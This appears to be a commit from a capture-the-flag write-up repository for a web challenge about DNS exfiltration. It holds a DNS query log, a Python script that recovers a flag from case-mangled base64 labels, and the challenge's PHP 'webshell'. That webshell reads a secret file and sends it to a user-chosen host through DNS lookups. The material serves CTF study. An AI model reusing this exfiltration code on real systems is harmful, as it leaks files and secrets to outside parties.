mobile solve
This commit is contained in:
@@ -0,0 +1,4 @@
|
||||
DNS lookup of type A for the domain name lf42h9h2r5KlLjOq76Xl3ZVN1E75vVJK.oAsTIfy.com.
|
||||
DNS lookup of type A for the domain name odLlOGewnJy0nWyW.523.lf42h9h2r5KlLjOq76Xl3ZVN1E75vVJK.oAsTIfy.com.
|
||||
DNS lookup of type A for the domain name lf42H9H2R5kLljOq76xL3ZvN1e75vVJK.OAStIFY.coM.
|
||||
DNS lookup of type A for the domain name Su5tE1QwdDRSBHLfBJn2zXjFAgFWcdNUzWQTAxjSLtfLodhjMtUzfq.190.lf42H9H2R5kLljOq76xL3ZvN1e75vVJK.OAStIFY.coM.
|
||||
96
2026/insomnihack/web/Exfailtrator/solve.py
Normal file
96
2026/insomnihack/web/Exfailtrator/solve.py
Normal file
@@ -0,0 +1,96 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Solve script for DNS 0x20 exfiltration challenge.
|
||||
|
||||
The webshell exfiltrates data via DNS by:
|
||||
1. base64-encoding the content (with + and / replaced by -)
|
||||
2. prepending a 3-char MD5 checksum
|
||||
3. performing a DNS_A lookup for: {base64}.{checksum}.{attacker_domain}
|
||||
|
||||
DNS 0x20 encoding preserves the case of query labels in the response,
|
||||
meaning the mixed-case payload in the DNS log IS the original base64.
|
||||
|
||||
However, intermediate resolvers may have corrupted some letter cases,
|
||||
so we reconstruct the correct capitalisation by:
|
||||
- splitting the payload into groups of 4 base64 characters
|
||||
- trying all case variants per group
|
||||
- keeping only variants that decode to printable ASCII
|
||||
- finding the combination whose MD5[:3] matches the checksum in the log
|
||||
"""
|
||||
|
||||
import base64
|
||||
from hashlib import md5
|
||||
from itertools import product
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Paste the data label and checksum from the 0x20-encoded DNS log entry here
|
||||
# ---------------------------------------------------------------------------
|
||||
PAYLOAD = "Su5tE1QwdDRSBHLfBJn2zXjFAgFWcdNUzWQTAxjSLtfLodhjMtUzfq"
|
||||
CHECKSUM = "190" # first 3 hex chars of md5(flag)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def reverse_strtr(s: str) -> str:
|
||||
"""The PHP replaces + and / with -. Reverse where possible (no-op if no dashes)."""
|
||||
# If there are no dashes the base64 had neither + nor /, nothing to do.
|
||||
# If there ARE dashes we'd need to try both — handled by the case-brute-force below.
|
||||
return s
|
||||
|
||||
|
||||
def case_variants(group: str):
|
||||
"""Yield every capitalisation variant of a base64 group that decodes to printable ASCII."""
|
||||
letter_positions = [(i, c) for i, c in enumerate(group) if c.isalpha()]
|
||||
for bits in product([True, False], repeat=len(letter_positions)):
|
||||
candidate = list(group)
|
||||
for (idx, _), upper in zip(letter_positions, bits):
|
||||
candidate[idx] = candidate[idx].upper() if upper else candidate[idx].lower()
|
||||
s = "".join(candidate)
|
||||
padding = "=" * ((4 - len(s) % 4) % 4)
|
||||
try:
|
||||
decoded = base64.b64decode(s + padding)
|
||||
if all(32 <= b < 127 for b in decoded): # printable ASCII only
|
||||
yield s, decoded
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def solve(payload: str, checksum: str) -> str:
|
||||
payload = reverse_strtr(payload)
|
||||
|
||||
# Split into groups of 4 (standard base64 block size)
|
||||
groups = [payload[i:i+4] for i in range(0, len(payload), 4)]
|
||||
|
||||
# Collect valid byte candidates for each group
|
||||
group_candidates = []
|
||||
for i, g in enumerate(groups):
|
||||
cands = list(case_variants(g))
|
||||
if not cands:
|
||||
raise ValueError(f"No printable-ASCII candidate found for group {i} ({g!r})")
|
||||
group_candidates.append([dec for _, dec in cands])
|
||||
print(f" group[{i:02d}] {g!r:6s} → {[dec for _, dec in cands]}")
|
||||
|
||||
print(f"\nSearching {' × '.join(str(len(c)) for c in group_candidates)} combinations "
|
||||
f"for MD5[:3] == {checksum!r} …\n")
|
||||
|
||||
# Enumerate combinations and check MD5 checksum
|
||||
for combo in product(*group_candidates):
|
||||
candidate_bytes = b"".join(combo)
|
||||
if md5(candidate_bytes).hexdigest()[:3] == checksum:
|
||||
return candidate_bytes.decode()
|
||||
|
||||
raise ValueError("No combination matched the checksum — check PAYLOAD / CHECKSUM values.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("DNS 0x20 Exfiltration — Solve Script")
|
||||
print("=" * 60)
|
||||
print(f"Payload : {PAYLOAD}")
|
||||
print(f"Checksum : {CHECKSUM}\n")
|
||||
print("Candidate bytes per base64 group (printable ASCII filter):")
|
||||
|
||||
flag = solve(PAYLOAD, CHECKSUM)
|
||||
|
||||
print("=" * 60)
|
||||
print(f"FLAG: {flag}")
|
||||
print("=" * 60)
|
||||
@@ -0,0 +1,308 @@
|
||||
<?php
|
||||
$FLAG = file_get_contents('/tmp/flag');
|
||||
|
||||
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
header('Content-Type: application/json');
|
||||
|
||||
$input = json_decode(file_get_contents('php://input'), true);
|
||||
$hostname = $input['hostname'] ?? '';
|
||||
$type_cmd = $input['type'] ?? '';
|
||||
|
||||
if (!is_string($hostname) || empty($hostname) || !is_string($type_cmd) || empty($type_cmd)) {
|
||||
http_response_code(400);
|
||||
echo json_encode(['error' => 'Invalid variable format']);
|
||||
exit;
|
||||
}
|
||||
|
||||
$sanitized_hostname = preg_replace('/[^a-zA-Z0-9.-]/', '', $hostname);
|
||||
|
||||
if (($sanitized_hostname !== $hostname || empty($sanitized_hostname)) || (!in_array($type_cmd, ['hostname', 'flag'], true))) {
|
||||
http_response_code(400);
|
||||
echo json_encode(['error' => 'Invalid variable format']);
|
||||
exit;
|
||||
}
|
||||
|
||||
if ($type_cmd === 'hostname') {
|
||||
performDnsExfiltration(gethostname(), $sanitized_hostname);
|
||||
} else if ($type_cmd === 'flag') {
|
||||
performDnsExfiltration($FLAG, $sanitized_hostname);
|
||||
}
|
||||
echo json_encode(['success' => true]);
|
||||
exit;
|
||||
}
|
||||
|
||||
function performDnsExfiltration(string $content, string $hostname): bool {
|
||||
try {
|
||||
$checksum = substr(md5($content), 0, 3);
|
||||
$value_b64 = rtrim(strtr(base64_encode($content), '+/', '--'), '=');
|
||||
$query = "{$value_b64}.{$checksum}.{$hostname}";
|
||||
# Perform the DNS exfiltration of the content and its checksum to the specific hostname
|
||||
dns_get_record($query, DNS_A);
|
||||
return true;
|
||||
} catch (Exception $e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
?>
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>WebShell v2.1</title>
|
||||
<style>
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: 'Courier New', 'Monaco', monospace;
|
||||
background: #0a0a0a;
|
||||
color: #00ff00;
|
||||
min-height: 100vh;
|
||||
padding: 20px;
|
||||
overflow-x: hidden;
|
||||
}
|
||||
|
||||
.terminal {
|
||||
max-width: 900px;
|
||||
margin: 0 auto;
|
||||
background: #000000;
|
||||
border: 2px solid #00ff00;
|
||||
box-shadow: 0 0 20px rgba(0, 255, 0, 0.3);
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
.header {
|
||||
border-bottom: 1px solid #00ff00;
|
||||
padding-bottom: 10px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.header h1 {
|
||||
font-size: 18px;
|
||||
color: #00ff00;
|
||||
letter-spacing: 2px;
|
||||
}
|
||||
|
||||
.header .info {
|
||||
font-size: 12px;
|
||||
color: #00cc00;
|
||||
margin-top: 5px;
|
||||
}
|
||||
|
||||
.ascii-art {
|
||||
color: #00ff00;
|
||||
font-size: 10px;
|
||||
line-height: 1.2;
|
||||
margin-bottom: 20px;
|
||||
white-space: pre;
|
||||
opacity: 0.7;
|
||||
}
|
||||
|
||||
.command-section {
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.prompt {
|
||||
color: #00ff00;
|
||||
margin-bottom: 5px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.prompt span {
|
||||
color: #00cc00;
|
||||
}
|
||||
|
||||
.input-row {
|
||||
display: flex;
|
||||
gap: 10px;
|
||||
margin-bottom: 15px;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.input-row::before {
|
||||
content: ">";
|
||||
color: #00ff00;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
input[type="text"] {
|
||||
flex: 1;
|
||||
background: #001100;
|
||||
border: 1px solid #00ff00;
|
||||
color: #00ff00;
|
||||
padding: 10px 15px;
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 14px;
|
||||
outline: none;
|
||||
}
|
||||
|
||||
input[type="text"]:focus {
|
||||
background: #002200;
|
||||
box-shadow: 0 0 10px rgba(0, 255, 0, 0.3);
|
||||
}
|
||||
|
||||
input[type="text"]::placeholder {
|
||||
color: #005500;
|
||||
}
|
||||
|
||||
button {
|
||||
background: #001100;
|
||||
border: 2px solid #00ff00;
|
||||
color: #00ff00;
|
||||
padding: 10px 20px;
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 13px;
|
||||
cursor: pointer;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 1px;
|
||||
transition: all 0.2s;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
button:hover {
|
||||
background: #00ff00;
|
||||
color: #000000;
|
||||
box-shadow: 0 0 15px rgba(0, 255, 0, 0.5);
|
||||
}
|
||||
|
||||
button:active {
|
||||
transform: scale(0.95);
|
||||
}
|
||||
|
||||
.separator {
|
||||
border-top: 1px dashed #00ff00;
|
||||
margin: 20px 0;
|
||||
opacity: 0.3;
|
||||
}
|
||||
|
||||
.status {
|
||||
position: fixed;
|
||||
bottom: 20px;
|
||||
right: 20px;
|
||||
background: #000000;
|
||||
border: 1px solid #00ff00;
|
||||
padding: 5px 10px;
|
||||
font-size: 10px;
|
||||
color: #00ff00;
|
||||
}
|
||||
|
||||
.blink {
|
||||
animation: blink 1s infinite;
|
||||
}
|
||||
|
||||
@keyframes blink {
|
||||
0%, 49% { opacity: 1; }
|
||||
50%, 100% { opacity: 0; }
|
||||
}
|
||||
|
||||
.footer {
|
||||
margin-top: 30px;
|
||||
padding-top: 15px;
|
||||
border-top: 1px solid #00ff00;
|
||||
font-size: 11px;
|
||||
color: #00cc00;
|
||||
opacity: 0.5;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="terminal">
|
||||
<div class="header">
|
||||
<h1>╔══════════════════════════╗</h1>
|
||||
<h1>║ REMOTE ACCESS SHELL v2.1 ║</h1>
|
||||
<h1>╚══════════════════════════╝</h1>
|
||||
<div class="info">
|
||||
[*] Connection established...<br>
|
||||
[*] DNS exfiltration module loaded<br>
|
||||
[*] Waiting for commands...
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="ascii-art">
|
||||
___ _ _ ___
|
||||
| __|| \/ ||_ _|
|
||||
| _| | /\ | | |
|
||||
|___||_||_||___|
|
||||
</div>
|
||||
|
||||
<div class="command-section">
|
||||
<div class="prompt"><span>[root@target]</span># extract_hostname -format base64 -addCheckSum</div>
|
||||
<div class="input-row">
|
||||
<input type="text" id="hostname" placeholder="target.domain.com">
|
||||
<button onclick="extractHostname()">EXTRACT HOSTNAME</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="separator"></div>
|
||||
|
||||
<div class="command-section">
|
||||
<div class="prompt"><span>[root@target]</span># extract_flag -format base64 -addCheckSum</div>
|
||||
<div class="input-row">
|
||||
<input type="text" id="flag" placeholder="target.domain.com">
|
||||
<button onclick="extractFlag()">EXTRACT FLAG</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="footer">
|
||||
<span class="blink">█</span> System ready | DNS resolver: active | Obfuscation: enabled
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="status">
|
||||
<span class="blink">●</span> ONLINE
|
||||
</div>
|
||||
|
||||
<script>
|
||||
async function extractHostname() {
|
||||
const hostname = document.getElementById('hostname').value.trim();
|
||||
|
||||
if (!hostname) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
await fetch('/', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
},
|
||||
body: JSON.stringify({
|
||||
hostname: hostname,
|
||||
type: 'hostname'
|
||||
})
|
||||
});
|
||||
} catch (error) {
|
||||
console.error('Error:', error);
|
||||
}
|
||||
}
|
||||
|
||||
async function extractFlag() {
|
||||
const hostname = document.getElementById('flag').value.trim();
|
||||
|
||||
if (!hostname) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
await fetch('/', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
},
|
||||
body: JSON.stringify({
|
||||
hostname: hostname,
|
||||
type: 'flag'
|
||||
})
|
||||
});
|
||||
} catch (error) {
|
||||
console.error('Error:', error);
|
||||
}
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user